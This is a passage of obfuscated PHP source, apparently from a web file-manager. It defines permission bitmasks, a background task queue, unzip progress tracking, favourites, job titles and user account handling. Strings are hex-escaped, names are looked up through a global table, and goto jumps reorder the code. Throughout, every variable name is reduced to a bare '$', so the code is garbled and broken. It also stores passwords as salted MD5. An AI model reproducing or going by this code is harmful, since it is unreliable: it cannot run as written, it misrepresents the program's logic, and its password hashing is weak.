$ =& $_SERVER[]; $ = $[8]; $ = $GLOBALS[$[6]][$[1401]] == $[1402]; if ($) { $ = $[1988]; if (function_exists($[1989])) { exec($[1990], $); $ = $[1] . $[8]; } } if (!file_exists($)) { return; } if (!function_exists($[1991])) { return; } $ = @disk_total_space($); $ = $ - @disk_free_space($); return array($[1978] => $, $[1980] => $); } public function fileChart($) { $ =& $_SERVER[]; if (isset($[$[1791]])) { return Model($[920])->userFileTypeProfile($[$[1791]]); } if (isset($[$[1992]])) { return Model($[920])->groupFileTypeProfile($[$[1992]]); } $ = $this->sourceSize(); $ = array($[193] => 0, $[191] => 1); $ = Model($[920])->where($)->sum($[79]); $[$[191]] = 2; $ = Model($[920])->where($)->sum($[79]); return array($[853] => $[$[79]], $[1925] => $[$[1925]], $[1926] => (int) $, $[1927] => (int) $); } private function sourceSize() { $ =& $_SERVER[]; $ = Model($[920])->where(array($[497] => 0))->sum($[79]); $ = Model($[558])->sum($[79]); if ($ > $) { $ = $; } return array($[79] => (int) $, $[1925] => (int) $); } } class AuthModel extends ModelBaseLight { const AUTH_SHOW = 1; const AUTH_VIEW = 2; const AUTH_DOWNLOAD = 4; const AUTH_UPLOAD = 8; const AUTH_EDIT = 16; const AUTH_REMOVE = 32; const AUTH_SHARE = 64; const AUTH_COMMENT = 128; const AUTH_EVENT = 256; const AUTH_ROOT = 33554432; public static function authAll() { return self::AUTH_SHOW | self::AUTH_VIEW | self::AUTH_DOWNLOAD | self::AUTH_UPLOAD | self::AUTH_EDIT | self::AUTH_REMOVE | self::AUTH_SHARE | self::AUTH_COMMENT | self::AUTH_EVENT | self::AUTH_ROOT; } public static function authDefault() { $ =& $_SERVER[]; $ = array(array($[506] => LNG($[1993]), $[1994] => $[1995], $[1996] => 1, $[1997] => 1, $[1998] => self::AUTH_SHOW | self::AUTH_VIEW | self::AUTH_DOWNLOAD | self::AUTH_UPLOAD | self::AUTH_EDIT | self::AUTH_REMOVE | self::AUTH_SHARE | self::AUTH_COMMENT | self::AUTH_EVENT), array($[506] => LNG($[1999]), $[1994] => $[2000], $[1996] => 2, $[1997] => 1, $[1998] => self::AUTH_SHOW | self::AUTH_VIEW | self::AUTH_DOWNLOAD | self::AUTH_UPLOAD | self::AUTH_EDIT | self::AUTH_COMMENT | self::AUTH_EVENT), array($[506] => LNG($[2001]), $[1994] => $[2002], $[1996] => 3, $[1997] => 1, $[1998] => self::AUTH_SHOW | self::AUTH_VIEW | self::AUTH_DOWNLOAD | self::AUTH_COMMENT | self::AUTH_EVENT), array($[506] => LNG($[2003]), $[1994] => $[2004], $[1996] => 4, $[1997] => 1, $[1998] => self::AUTH_SHOW | self::AUTH_VIEW), array($[506] => LNG($[2005]), $[1994] => $[2006], $[1996] => 5, $[1997] => 1, $[1998] => self::AUTH_SHOW | self::AUTH_UPLOAD), array($[506] => LNG($[2007]), $[1994] => $[2008], $[1996] => 6, $[1997] => 1, $[1998] => self::AUTH_SHOW | self::AUTH_VIEW | self::AUTH_DOWNLOAD | self::AUTH_UPLOAD | self::AUTH_EDIT | self::AUTH_REMOVE | self::AUTH_SHARE | self::AUTH_COMMENT | self::AUTH_EVENT | self::AUTH_ROOT), array($[506] => LNG($[2009]), $[1994] => $[2010], $[1996] => 7, $[1997] => 1, $[1998] => 0)); return $; } public static function authCheck($, $) { $ =& $_SERVER[]; $ = intval($); if (KodUser::isRoot() && $GLOBALS[$[6]][$[2011]]) { return !0; } if ($ <= 0) { return !1; } if (($ & self::AUTH_ROOT) == self::AUTH_ROOT) { return !0; } return !!($ & $); } public static function authCheckShow($) { return self::authCheck($, self::AUTH_SHOW); } public static function authCheckView($) { return self::authCheck($, self::AUTH_VIEW); } public static function authCheckDownload($) { return self::authCheck($, self::AUTH_DOWNLOAD); } public static function authCheckUpload($) { return self::authCheck($, self::AUTH_UPLOAD); } public static function authCheckEdit($) { return self::authCheck($, self::AUTH_EDIT); } public static function authCheckRemove($) { return self::authCheck($, self::AUTH_REMOVE); } public static function authCheckShare($) { return self::authCheck($, self::AUTH_SHARE); } public static function authCheckComment($) { return self::authCheck($, self::AUTH_COMMENT); } public static function authCheckEvent($) { return self::authCheck($, self::AUTH_EVENT); } public static function authCheckRoot($) { return self::authCheck($, self::AUTH_ROOT); } public static function authCheckAction($, $) { $ =& $_SERVER[]; $ = array($[2012] => self::AUTH_VIEW, $[1295] => self::AUTH_DOWNLOAD, $[110] => self::AUTH_UPLOAD, $[1961] => self::AUTH_EDIT, $[1960] => self::AUTH_REMOVE, $[1971] => self::AUTH_SHARE, $[441] => self::AUTH_COMMENT, $[1778] => self::AUTH_EVENT, $[2013] => self::AUTH_ROOT); if (!isset($[$])) { return; } $ = $[$]; $ = intval($); if ($ <= 0) { return !1; } if (($ & self::AUTH_ROOT) == self::AUTH_ROOT) { return !0; } return !!($ & $); } public static function authDisable($, $) { if (intval($) <= 0) { return 0; } return intval($) & ~$; } public $optionType = "\x53\x79\x73\164\145\155\56\x73\157\x75\162\x63\145\x41\165\x74\x68\x4c\151\x73\x74"; public $field = array("\156\x61\155\x65", "\x61\x75\x74\150", "\154\x61\142\x65\154", "\144\x69\163\x70\154\x61\171", "\x73\171\163\x74\145\x6d", "\x73\x6f\162\x74"); public function initData() { $ = $this->authDefault(); foreach ($ as $) { $this->add($); } } public function findAuth($, $) { $ =& $_SERVER[]; $ = parent::listData(); foreach ($ as $) { $ = intval($[$[499]]); if ($ <= 0 || $[$[2014]] == 0) { continue; } if (($ & $) != $) { continue; } if (($ & $) != 0) { continue; } return $[$[487]]; } return !1; } public function findAuthMax($, $) { $ =& $_SERVER[]; $ = !1; $ = parent::listData(); foreach ($ as $) { $ = intval($[$[499]]); if ($ <= 0 || $[$[2014]] == 0) { continue; } if (($ & $) != $) { continue; } if (($ & $) != 0) { continue; } if (!$) { $ = $; continue; } if (intval($[$[499]]) < $) { $ = $; } } return $ ? $[$[487]] : !1; } public function findAuthReadOnly() { $ = self::AUTH_SHOW | self::AUTH_VIEW | self::AUTH_DOWNLOAD; $ = self::AUTH_UPLOAD | self::AUTH_EDIT | self::AUTH_REMOVE; return $this->findAuth($, $); } public function findAuthNotRead() { return $this->findAuth(0, self::AUTH_SHOW); } public function findAuthMinDefault() { $ =& $_SERVER[]; $ = parent::listData(); $ = !1; foreach ($ as $) { if ($[$[499]] <= 0 || $[$[2014]] == $[231]) { continue; } if (!$) { $ = $; continue; } if ($[$[499]] > $[$[499]]) { $ = $; } } return $ ? $[$[487]] : $[12]; } public function listData($ = false, $ = "\163\157\162\164", $ = false) { return parent::listData($, $, $); } public function update($, $) { $ =& $_SERVER[]; $ = parent::listData($); $ = $this->findByName($[$[32]]); if (!$ || $ && $[$[487]] != $[$[487]]) { return !1; } $this->filterAuth($[$[499]]); return parent::update($, $); } public function remove($) { $ = parent::listData($); if (!$ || $[$_SERVER[][192]]) { return !1; } return parent::remove($); } public function add($ = array()) { $ =& $_SERVER[]; if ($this->findByName($[$[32]])) { return !1; } $ = array($[32] => $[12], $[499] => 1, $[2015] => $[2002], $[2014] => 1, $[192] => 0, $[2016] => 0); $ = array_merge($, $); $[$[2016]] = $this->getSort(); $this->filterAuth($[$[499]]); return parent::insert($); } private function getSort() { $ =& $_SERVER[]; $ = parent::listData(); $ = array_to_keyvalue($, $[12], $[2016]); return empty($) ? 0 : max($) + 1; } private function filterAuth(&$) { if (!$) { return; } $ = array(self::AUTH_SHOW, self::AUTH_VIEW, self::AUTH_DOWNLOAD, self::AUTH_UPLOAD, self::AUTH_EDIT, self::AUTH_REMOVE, self::AUTH_SHARE, self::AUTH_COMMENT, self::AUTH_EVENT, self::AUTH_ROOT); $ = array(); foreach ($ as $) { if ($ & $) { $[] = $; } } if (in_array(self::AUTH_ROOT, $)) { $ = array_sum($); return; } $ = array(self::AUTH_DOWNLOAD => array(self::AUTH_VIEW), self::AUTH_EDIT => array(self::AUTH_VIEW), self::AUTH_REMOVE => array(self::AUTH_EDIT), self::AUTH_SHARE => array(self::AUTH_VIEW, self::AUTH_DOWNLOAD, self::AUTH_UPLOAD, self::AUTH_EDIT)); foreach ($ as $) { if (isset($[$])) { $ = array_merge($, $[$]); } } $[] = self::AUTH_SHOW; $ = array_sum(array_unique($)); } public function sort($, $) { return parent::update($, $); } } goto B; e: class TaskQueue { const MAX_LENGTH = 2000; const QUEUE_LENGTH = "\x74\141\163\153\x51\165\145\165\145\114\145\x6e\x67\164\150"; const QUEUE_DATA = "\164\x61\163\153\121\165\145\x75\x65\104\141\164\141"; const QUEUE_TIME = "\x74\x61\x73\153\x51\165\x65\x75\x65\114\x61\x73\164\122\x75\156"; const QUEUE_THREAD = "\x74\x61\x73\x6b\x51\165\x65\x75\x65\124\150\162\x65\141\x64"; public static $listData = false; public static $listDataAdd = false; public static function initTask() { } public static function add($, $ = array(), $ = '', $ = '') { $ =& $_SERVER[]; if (self::$listData === !1) { self::$listData = self::getAll(); self::$listDataAdd = array(); } if (count(self::$listData) >= self::MAX_LENGTH) { return !1; } if ($ && array_find_by_field(self::$listData, $[97], $)) { return !0; } if ($ && array_find_by_field(self::$listDataAdd, $[97], $)) { return !0; } self::$listDataAdd[] = array($[353] => $, $[1891] => $, $[538] => $, $[97] => $); return !0; } public static function addSubmit() { $ =& $_SERVER[]; if (!self::$listDataAdd || count(self::$listDataAdd) == 0) { return; } self::setAll(array_merge(self::getAll(), self::$listDataAdd)); write_log($[1892] . json_encode_force(array_to_keyvalue(self::$listDataAdd, $[12], $[538])), $[198]); self::$listData = !1; self::$listDataAdd = !1; } public static function addNow($, $ = array(), $ = '', $ = '') { $ =& $_SERVER[]; if (self::count() >= self::MAX_LENGTH) { return !1; } $ = self::getAll(); if ($ && array_find_by_field($, $[97], $)) { return !0; } $[] = array($[353] => $, $[1891] => $, $[538] => $, $[97] => $); self::setAll($); write_log($[1892] . $, $[198]); return !0; } public static function run() { $ =& $_SERVER[]; $ = self::getAll(); $ = array_shift($); if (!$) { return !1; } self::setAll($); $ = timeFloat(); $ = $[12]; try { $ = Hook::apply($[$[353]], $[$[1891]]); } catch (Exception $) { write_log($, $[1280]); } $ = number_format(timeFloat() - $, 3) . $[1807]; if ($ && is_string($)) { $ = $ . $[1893] . $; } write_log($[1894] . $[$[538]] . $[1895] . $, $[198]); Cache::set(self::QUEUE_TIME, time(), 3600 * 24 * 30); return !0; } public static function runThread() { $ =& $_SERVER[]; $ = self::threadCount() + 1; if ($ > 3 || !self::count()) { return; } write_log($[1896] . $, $[198]); Cache::set(self::QUEUE_THREAD, $, 3600 * 24); AutoTask::clearUserStatus(); while (!0) { if (!self::run()) { break; } usleep(mt_rand(200, 50000)); } Cache::set(self::QUEUE_THREAD, 0, 3600 * 24); write_log($[1897], $[198]); } public static function getKey($, $ = "\x69\x6e\164") { $ =& $_SERVER[]; Cache::removeMemory($); $ = Cache::get($); if ($ == $[375]) { return $ ? intval($) : 0; } if ($ == $[1898]) { return is_array($) ? $ : array(); } return $; } public static function lastTime() { return self::getKey(self::QUEUE_TIME); } public static function count() { return self::getKey(self::QUEUE_LENGTH); } public static function threadCount() { return self::getKey(self::QUEUE_THREAD); } public static function getAll() { return self::getKey(self::QUEUE_DATA, $_SERVER[][1898]); } public static function setAll($) { $ = 3600 * 24 * 30; Cache::set(self::QUEUE_LENGTH, count($), $); Cache::set(self::QUEUE_DATA, $, $); Cache::removeMemory(self::QUEUE_LENGTH); Cache::removeMemory(self::QUEUE_DATA); } public static function clear() { self::setAll(array()); Cache::set(self::QUEUE_THREAD, 0, 60); } } class TaskRun { private static $asyncAdd = false; private static $syncTask = false; public static function timeLimit($, $ = 5.0) { if (!$) { return; } $ = Cache::get($); if (!$ || timeFloat() - floatVal($) >= $) { Cache::set($, timeFloat(), $ * 10); return !0; } return !1; } public static function timeLimitCall($, $, $, $ = 5.0) { $ =& $_SERVER[]; if (!$ || !$) { return; } self::$asyncAdd = !0; $ = $[1899]; $ = Cache::get($, !0); $ = array($[1900] => timeFloat(), $[1901] => timeFloat(), $[353] => $, $[1891] => $, $[207] => $); if (is_array($[$])) { $[$[1901]] = $[$][$[1901]]; } if (is_array($[$])) { if (timeFloat() - $[$][$[1900]] < $[$[207]] * 0.3) { return; } $[$[1901]] = $[$][$[1901]]; } $[$] = $; Cache::set($, $, 60); Cache::removeMemory($); write_log($[1902] . $ . $[74] . $, $[198]); } public static function timeLimitCallLoop() { $ =& $_SERVER[]; $ = array($[1903]); $ = in_array(strtolower(ACTION), $); if (!$ && !self::$asyncAdd) { return; } $ = $[1899]; $ = Cache::get($, !0); if (!$ || count($) <= 0) { return; } $ = !1; $ = timeFloat(); $ = array(); foreach ($ as $ => $) { if ($ - $[$[1901]] > $[$[207]]) { $ = !0; try { Hook::apply($[$[353]], $[$[1891]]); write_log($[1904] . $ . $[74] . $[$[353]] . $[1905] . ACTION, $[198]); } catch (Exception $) { } continue; } $[$] = $; } if (!$) { return; } if (!$) { return Cache::remove($); } Cache::set($, $, 60); Cache::removeMemory($); } public static function finished($, $) { $ =& $_SERVER[]; if (!self::$syncTask) { self::$syncTask = array(); } self::$syncTask[] = array($[353] => $, $[1891] => $); } private static function finishedRun() { $ =& $_SERVER[]; if (!self::$syncTask) { return; } foreach (self::$syncTask as $) { try { Hook::apply($[$[353]], $[$[1891]]); } catch (Exception $) { } } } public static function autoRun() { self::finishedRun(); self::timeLimitCallLoop(); } } class TaskUnzip extends TaskFileTransfer { protected function startAfter() { $ =& $_SERVER[]; parent::startAfter(); Hook::bind($[1906], array($this, $[1907])); Hook::bind($[1294], array($this, $[1908])); Hook::bind($[1909], array($this, $[1910])); $ =& $this->task; $[$[1911]] = $[1295]; if (!$[$[1677]]) { $[$[1677]] = LNG($[1912]); } } protected function endAfter() { $ =& $_SERVER[]; parent::endAfter(); Hook::unbind($[1906], array($this, $[1907])); Hook::unbind($[1294], array($this, $[1908])); Hook::unbind($[1909], array($this, $[1910])); } public function updateAfter() { $ =& $_SERVER[]; $ =& $this->task; if (!$[$[1156]] || !$[$[853]]) { if ($[$[1911]] != $[400]) { return; } } if ($[$[1911]] == $[1295]) { $ = 0; if ($[$[1845]]) { $ = $[$[1846]] / $[$[1845]]; } $[$[1793]] = $ * 0.3; } else { if ($[$[1911]] == $[400]) { $ = $[$[1792]] / $[$[1156]]; $[$[1793]] = 0.3 + $ * 0.4; } else { if ($[$[1911]] == $[110]) { $ = 0; if ($[$[1847]] == $[110]) { $ = $[$[1846]]; } $ = ($[$[1850]] + $) / $[$[853]]; $[$[1793]] = 0.3 + 0.4 + $ * 0.3; } } } if ($[$[1793]] > 0) { $ = timeFloat() - $[$[1795]] - $[$[1798]]; $[$[1799]] = $ * (1 - $[$[1793]]) / $[$[1793]]; } } public function addFile($) { $ =& $_SERVER[]; $ =& $this->task; $ = IO::info($); $[$[1843]] = $[$[32]]; $[$[1845]] = $[$[79]]; $[$[1846]] = 0; $[$[1158]] = $[1866]; $[$[1847]] = $[1295]; $[$[853]] = $[$[79]]; $[$[1156]] = 1; $ = 0; $[$[1854]] = array($[1855] => $ + 1, $[506] => $[$[32]], $[87] => $[$[87]], $[596] => $[$[596]] ? $[$[596]] : $[$[87]]); $this->update(); } public function zipEvent($, $, $, $) { $ =& $_SERVER[]; $ =& $this->task; $[$[1843]] = get_path_this($); $[$[1845]] = $; $[$[1846]] = $; $[$[1158]] = $ == $[1913] ? $[1914] : $[1915]; $[$[1847]] = $[12]; $[$[853]] = $; $[$[1911]] = $[400]; $this->update(); } public function unzipAfter($) { $ =& $_SERVER[]; $ =& $this->task; $[$[1911]] = $[110]; $ = IO::infoWithChildren($); $ = 0; $[$[1854]] = array($[1855] => $ + 1, $[506] => $[$[32]], $[87] => $[$[87]], $[596] => $[$[596]] ? $[$[596]] : $[$[87]]); if ($[$[33]] == $[233]) { $[$[1156]] = 1; } else { $[$[1156]] = $[$[82]][$[80]]; } $[$[1158]] = $[12]; $[$[1847]] = 0; $[$[1792]] = 0; $[$[1845]] = 0; $[$[1846]] = 0; $[$[1843]] = $[12]; $[$[1850]] = 0; $[$[853]] = $[$[79]]; $this->update(); self::log($[1916] . json_encode(array($, $))); } public function nameParse($) { $ =& $_SERVER[]; $ =& $this->task; if ($[$[1911]] == $[1295]) { $[$[1911]] = $[400]; $[$[1850]] = 0; $[$[853]] = 0; } $ = get_path_this($); if (strstr($, $[10])) { $[$[1792]] += 1; $[$[1156]] += 1; } $[$[1843]] = $; $this->update(); } } goto A; d: class UserFavModel extends ModelBase { protected $tableName = "\165\163\x65\x72\x5f\x66\141\166"; protected function cacheFunctionAlias($) { $ =& $_SERVER[]; return array($[2107] => array(USER_ID, $[2486])); } protected function listData() { $ =& $_SERVER[]; $ = array($[1782] => USER_ID, $[571] => 0); $ = $[2487]; $ = $this->field($)->where($)->order($[2488])->select(); return $ ? $ : array(); } protected function resetCache() { } protected function listView() { $ =& $_SERVER[]; $ = $this->listData(); $ = array_filter_by_field($, $[33], $[502]); $ = array_to_keyvalue($, $[12], $[87]); if (!$) { return $; } $ = 2000; $ = array($[503] => array($[504], $)); $ = Model($[920])->listSource($, $); $ = array_merge($[$[86]], $[$[85]]); $ = array_to_keyvalue($, $[194]); foreach ($ as $ => $) { $ = $[$[$[87]]]; $ = $ ? $ : array(); $[$] = array_merge($, $); } return $; } protected function addFav($, $ = '', $ = "\x73\x6f\x75\x72\x63\x65") { $ =& $_SERVER[]; $ = array($[1782] => USER_ID, $[571] => 0, $[508] => $, $[507] => $); if ($this->where($)->find()) { return !1; } $ = array($[1782] => USER_ID, $[571] => 0); $ = $this->where($)->max($[2016]); if (!$) { $ = 0; } if (!$ && $ == $[502]) { $ = Model($[1437])->where(array($[503] => $))->find(); if (!$) { return !1; } $ = $[$[32]]; } $ = $this->getAutoName($); $ = array($[1782] => USER_ID, $[571] => 0, $[506] => $, $[507] => $, $[508] => $, $[1996] => $ + 1); return $this->add($); } protected function remove($) { $ =& $_SERVER[]; $ = array($[1782] => USER_ID, $[505] => $); return $this->where($)->delete(); } protected function removeByName($) { $ =& $_SERVER[]; $ = array($[1782] => USER_ID, $[506] => $, $[571] => 0); return $this->where($)->delete(); } protected function rename($, $) { $ =& $_SERVER[]; if ($ == $) { return !1; } $ = $this->getAutoName($); if ($ != $) { return !1; } $ = array($[1782] => USER_ID, $[571] => 0, $[32] => $); return $this->where($)->save(array($[32] => $)); } protected function resetSort($) { $ =& $_SERVER[]; $ = is_array($) ? $ : array(); $ = array($[1782] => USER_ID); for ($ = 0; $ < count($); $++) { $[$[505]] = $[$]; $this->where($)->save(array($[1996] => $ + 1)); } return !0; } protected function moveTop($) { $ =& $_SERVER[]; $ = array($[1782] => USER_ID, $[571] => 0); $ = $this->where($)->where(array($[32] => $))->find(); if (!$) { return; } $ = $this->field($[487])->where($)->order($[2488])->select(); $ = array_to_keyvalue($, $[12], $[487]); $ = $; $ = array_remove_value($, $[$[487]]); array_unshift($, $[$[487]]); return $this->resetSort($); } protected function moveBottom($) { $ =& $_SERVER[]; $ = array($[1782] => USER_ID, $[571] => 0); $ = $this->where($)->max($[2016]); $ = array($[2016] => $ + 1); return $this->where($)->where(array($[32] => $))->save($); } private function getAutoName($) { $ =& $_SERVER[]; $ = array($[1782] => USER_ID, $[571] => 0); $ = $this->field($[32])->where($)->select(); $ = array_to_keyvalue($, $[12], $[32]); if (!$ || !in_array($, $)) { return $; } for ($ = 0; $ < count($); $++) { if (!in_array($ . "\x28{$}\51", $)) { return $ . "\50{$}\x29"; } } return $ . "\x28{$}\51"; } } class UserJobModel extends ModelBaseLight { public $optionType = "\123\171\163\x74\x65\x6d\56\x6a\157\142\x4c\x69\x73\x74"; public $field = array("\x6e\141\x6d\x65", "\144\x65\163\x63", "\x73\157\x72\164"); const JOB_KEY = "\x73\x65\154\x66\112\157\142\x4c\151\163\164"; public function listData($ = false, $ = "\163\x6f\162\x74", $ = false) { return parent::listData($, $, $); } public function remove($) { return parent::remove($); } public function add($) { $ =& $_SERVER[]; if ($this->findByName($[$[32]])) { return !1; } $[$[2016]] = $this->getSort(); return parent::insert($); } private function getSort() { $ =& $_SERVER[]; $ = parent::listData(); $ = array_to_keyvalue($, $[12], $[2016]); return empty($) ? 0 : max($) + 1; } public function update($, $) { $ =& $_SERVER[]; $ = parent::listData($); $ = $this->findByName($[$[32]]); if (!$ || $ && $[$[487]] != $[$[487]]) { return !1; } return parent::update($, $); } public function setUserJob($, $) { $ =& $_SERVER[]; if (!is_array($)) { $ = array($); } $ = parent::listData(); $ = array_to_keyvalue($, $[32]); $ = $[466]; foreach ($ as $) { if ($[$]) { $ .= $[$][$[487]] . $[50]; } else { $ = $this->add($); $ .= $ . $[50]; } } $ = rtrim($, $[50]); Model($[611])->metaSet($, self::JOB_KEY, $); } public function getUserJob($) { $ = Model($_SERVER[][611])->metaGet($); return $this->getUserJobInfo($[self::JOB_KEY]); } public function getUserJobInfo($) { $ =& $_SERVER[]; $ = explode($[50], $); $ = parent::listData(); $ = array_remove_key($, $[234]); $ = array(); foreach ($ as $) { if (isset($[$])) { $[] = $[$]; } } return $; } } class UserModel extends ModelBase { protected $tableName = "\165\x73\145\x72"; protected $tableMeta = array("\164\x61\x62\154\145\116\x61\155\145" => "\165\163\x65\x72\137\155\145\164\x61", "\155\145\164\x61\x46\x69\145\x6c\x64" => "\165\163\145\162\x49\x44"); protected $simpleField = "\x75\x73\x65\162\111\x44\x2c\156\151\x63\x6b\x4e\x61\x6d\x65\x2c\156\141\x6d\x65\54\x61\166\x61\x74\141\x72\54\163\x65\x78\x2c\x73\x74\141\164\165\163"; const ERROR_USER_NOT_EXISTS = -1; const ERROR_USER_PASSWORD_ERROR = -2; const ERROR_USER_EXIST_NAME = -3; const ERROR_USER_EXIST_PHONE = -4; const ERROR_USER_EXIST_EMAIL = -5; const ERROR_USER_LOGIN_LOCK = -6; const ERROR_IP_NOT_ALLOW = -7; const ERROR_USER_EXIST_NICKNAME = -8; protected function cacheFunctionAlias($) { $ =& $_SERVER[]; $ = $[2489]; return array($[2074] => array($[0], $), $[2076] => array($[0], $), $[2490] => array($[0], $)); } protected function getInfo($, $ = false) { $ = $this->getInfoSimple($); if (!is_array($)) { return array(); } if ($) { return $this->_getInfoApply($); } return $this->cacheFunctionGet($_SERVER[][2078], $); } protected function getInfoFull($, $ = false) { $ = $this->getInfoSimple($); if (!is_array($)) { return array(); } if ($) { return $this->_getInfoApply($, !0); } return $this->cacheFunctionGet($_SERVER[][2491], $); } private function _getInfoApply($, $ = false) { $ =& $_SERVER[]; if (!$) { return $; } $ = md5($[2492] . $[$[982]] . $[2493] . $[$[32]]); $ = $this->_listDataApplyItem($); $ = Model($[1437])->metaGet($[$[90]][$[194]]); $[$[2494]] = $; $[$[90]][$[2278]] = isset($[$[2279]]) ? $[$[2279]] : null; if ($) { $[$[553]] = $this->metaGet($[$[1791]]); } return $; } protected function getInfoSimple($, $ = false) { $ =& $_SERVER[]; if (!$) { return array(); } if ($) { $ = $this->where(array($[1791] => intval($)))->find(); if (!is_array($)) { return array(); } $[$[2495]] = Action($[2496])->parseUrl($[$[2495]]); return $; } return $this->cacheFunctionGet($[2079], $); } protected function getInfoSimpleOuter($) { $ =& $_SERVER[]; if (!$ || $ == 0) { return array($[1791] => $[231], $[32] => $[176] . LNG($[2497]) . $[178], $[2495] => STATIC_PATH . $[2498]); } $ = $this->cacheFunctionGet($[2079], $); $ = array_field_key($, explode($[50], $this->simpleField)); if (!$) { return array($[1791] => $[1289], $[32] => $[176] . LNG($[2499]) . $[178], $[2495] => STATIC_PATH . $[2500]); } $[$[2495]] = Action($[2496])->parseUrl($[$[2495]]); return $; } protected function groupUser($) { } public static function errorLang($) { $ =& $_SERVER[]; $ = array(self::ERROR_USER_NOT_EXISTS => $[2501], self::ERROR_USER_PASSWORD_ERROR => $[2502], self::ERROR_USER_EXIST_NAME => $[2503], self::ERROR_USER_EXIST_PHONE => $[2504], self::ERROR_USER_EXIST_EMAIL => $[2505], self::ERROR_USER_LOGIN_LOCK => $[2506], self::ERROR_IP_NOT_ALLOW => $[2507], self::ERROR_USER_EXIST_NICKNAME => $[2508]); $ = LNG($[$]); if ($ == self::ERROR_USER_LOGIN_LOCK) { $ = (int) Model($[2509])->get($[2510]); if ($ > 60) { $ = str_replace($[91], ceil($ / 60), $); } } return $; } protected function metaSet($, $ = null, $ = null) { $this->clearCache($); return parent::metaSet($, $, $); } public function getInfoByMeta($, $) { $ =& $_SERVER[]; $ = Model($[2511])->where(array($[97] => $, $[462] => $))->find(); if ($) { return $this->getInfo($[$[1791]]); } return !1; } public function userLoginCheck($, $, $ = false) { $ =& $_SERVER[]; $ = $this->userLoginFind($); if (!$) { return UserModel::ERROR_USER_NOT_EXISTS; } if (!$this->userPasswordCheck($[$[1791]], $)) { return UserModel::ERROR_USER_PASSWORD_ERROR; } return $ ? $this->getInfoFull($[$[1791]]) : $this->getInfo($[$[1791]]); } public function userLoginFind($) { $ =& $_SERVER[]; $ = array($[32] => $, $[2291] => $, $[392] => $, $[2512] => $, $[1093] => $[1095]); if ($this->nickNameRpt()) { unset($[$[2291]]); } return $this->where($)->find(); } public function clearCache($) { $ =& $_SERVER[]; $this->cacheFunctionClear($[2078], $); $this->cacheFunctionClear($[2079], $); $this->cacheFunctionClear($[2491], $); } public function userPasswordCheck($, $) { $ =& $_SERVER[]; $ = $this->where(array($[1791] => intval($)))->find(); $ = $this->metaGet($); $ = isset($[$[2513]]) ? $[$[2513]] : $[12]; if (md5($ . trim($)) !== $[$[982]]) { return !1; } return !0; } public function userAdd($) { $ =& $_SERVER[]; $ = array($[506] => $[$[32]], $[2514] => $[$[2202]], $[2515] => isset($[$[392]]) ? $[$[392]] : $[12], $[2516] => isset($[$[2512]]) ? $[$[2512]] : $[12], $[2517] => isset($[$[2291]]) ? $[$[2291]] : $[$[32]], $[2518] => isset($[$[2495]]) ? $[$[2495]] : $[12], $[2519] => isset($[$[2520]]) ? $[$[2520]] : 1, $[2521] => $[$[982]], $[2080] => isset($[$[1978]]) ? $[$[1978]] : 1024 * 1024 * 20, $[2081] => 0, $[2522] => 0, $[2125] => isset($[$[840]]) ? $[$[840]] : 1); if (!empty($[$[1791]])) { $[$[1791]] = $[$[1791]]; } $ = $this->_checkExist($); if ($ !== !0) { return $; } if (!empty($[$[2495]]) && strlen($[$[2495]]) > 255) { $[$[2495]] = $[12]; } $ = $this->add($); $ = array($[2521] => $[$[982]], $[2517] => $[$[2291]]); $this->userEdit($, $); Model($[1437])->userRootAdd($); return $; } protected function userEditTest($, $) { return $this->call($_SERVER[][2523], $, $); } protected function userEdit($, $) { $ =& $_SERVER[]; $ = $this->getInfoSimple($); if (!$) { return !1; } $ = $this->_checkExist($, $); if ($ !== !0) { return $; } if (isset($[$[982]]) && trim($[$[982]]) != $[12]) { $ = $this->metaGet($); if (empty($[$[2513]])) { $[$[2513]] = rand_string(10); Model($[591])->metaSet($, $[2513], $[$[2513]]); } $[$[982]] = md5($[$[2513]] . trim($[$[982]])); } else { unset($[$[982]]); } if (!empty($[$[2495]]) && strlen($[$[2495]]) > 255) { $[$[2495]] = $[12]; } $this->where(array($[1782] => $))->save($); if (isset($[$[2291]])) { $this->setNamePinyin($, $[$[2291]]); } $this->clearCache($); return !0; } public function setNamePinyin($, $ = false) { $ =& $_SERVER[]; if (!$) { $ = $this->getInfoSimple($); $ = $[$[2291]] ? $[$[2291]] : $[$[32]]; } $ = Model($[611]); if (!Input::check($, $[672])) { return $->metaSet($, array($[550] => $[12], $[549] => $[12])); } return $->metaSet($, array($[550] => str_replace($[53], $[12], Pinyin::get($)), $[549] => Pinyin::get($, $[673]))); } private function nickNameRpt() { $ =& $_SERVER[]; $ = Model($[860])->get($[2524]); $ = $GLOBALS[$[6]][$[469]][$[2524]]; $ = !is_null($) ? $ : $; return !!$; } private function _checkExist($, $ = false) { $ =& $_SERVER[]; $ = array($[32] => UserModel::ERROR_USER_EXIST_NAME, $[2291] => UserModel::ERROR_USER_EXIST_NICKNAME, $[392] => UserModel::ERROR_USER_EXIST_EMAIL, $[2512] => UserModel::ERROR_USER_EXIST_PHONE); if ($this->nickNameRpt()) { unset($[$[2291]]); } $ = $ ? array($[1791] => array($[2525], $)) : array(); foreach ($ as $ => $) { $ = array(); foreach ($ as $ => $) { if (isset($[$]) && $[$]) { $[] = $[$]; } } if (!$) { continue; } $ = array_merge(array($ => array($[7], $)), $); $ = $this->where($)->find(); if ($) { return $; } } return !0; } public function userListInfo($) { $ =& $_SERVER[]; $ = array(); $ = is_array($) ? array_unique($) : array(); if (!$) { return $; } if (count($) < 20) { foreach ($ as $) { $[$ . $[12]] = $this->getInfoSimpleOuter($); } } else { $ = array($[1782] => array($[504], $)); if (count($) == 1) { $ = array($[1782] => $[0]); } $ = Model($[591])->field($this->simpleField)->where($)->select(); $ = array_to_keyvalue($, $[1791]); foreach ($ as $) { $ = $[$]; if (!$) { $[$ . $[12]] = $this->getInfoSimpleOuter($); continue; } $[$[2495]] = Action($[2496])->parseUrl($[$[2495]]); $[$ . $[12]] = $; } } return $; } protected function userStatus($, $) { $ = $this->getInfoSimple($); if (!$) { return !1; } $ = array($_SERVER[][840] => $); return $this->userEdit($, $); } protected function userRemove($) { $ =& $_SERVER[]; $ = $this->getInfoSimple($); if (!$) { return !1; } $ = array($[1782] => $); Model($[681])->where($)->delete(); Model($[2526])->where($)->delete(); Model($[2086])->where($)->delete(); Model($[2511])->where($)->delete(); Model($[1162])->where($)->delete(); Model($[2308])->removeUserAll($); Model($[920])->userRootRemove($); return $this->where($)->delete(); } protected function userGroupSet($, $, $ = array()) { $ =& $_SERVER[]; $ = $_SERVER[$[316]]; $ = $[317]; if ($_SERVER[$[318]] != $($)) { $ = $[973]; $ = $[319]; $ = 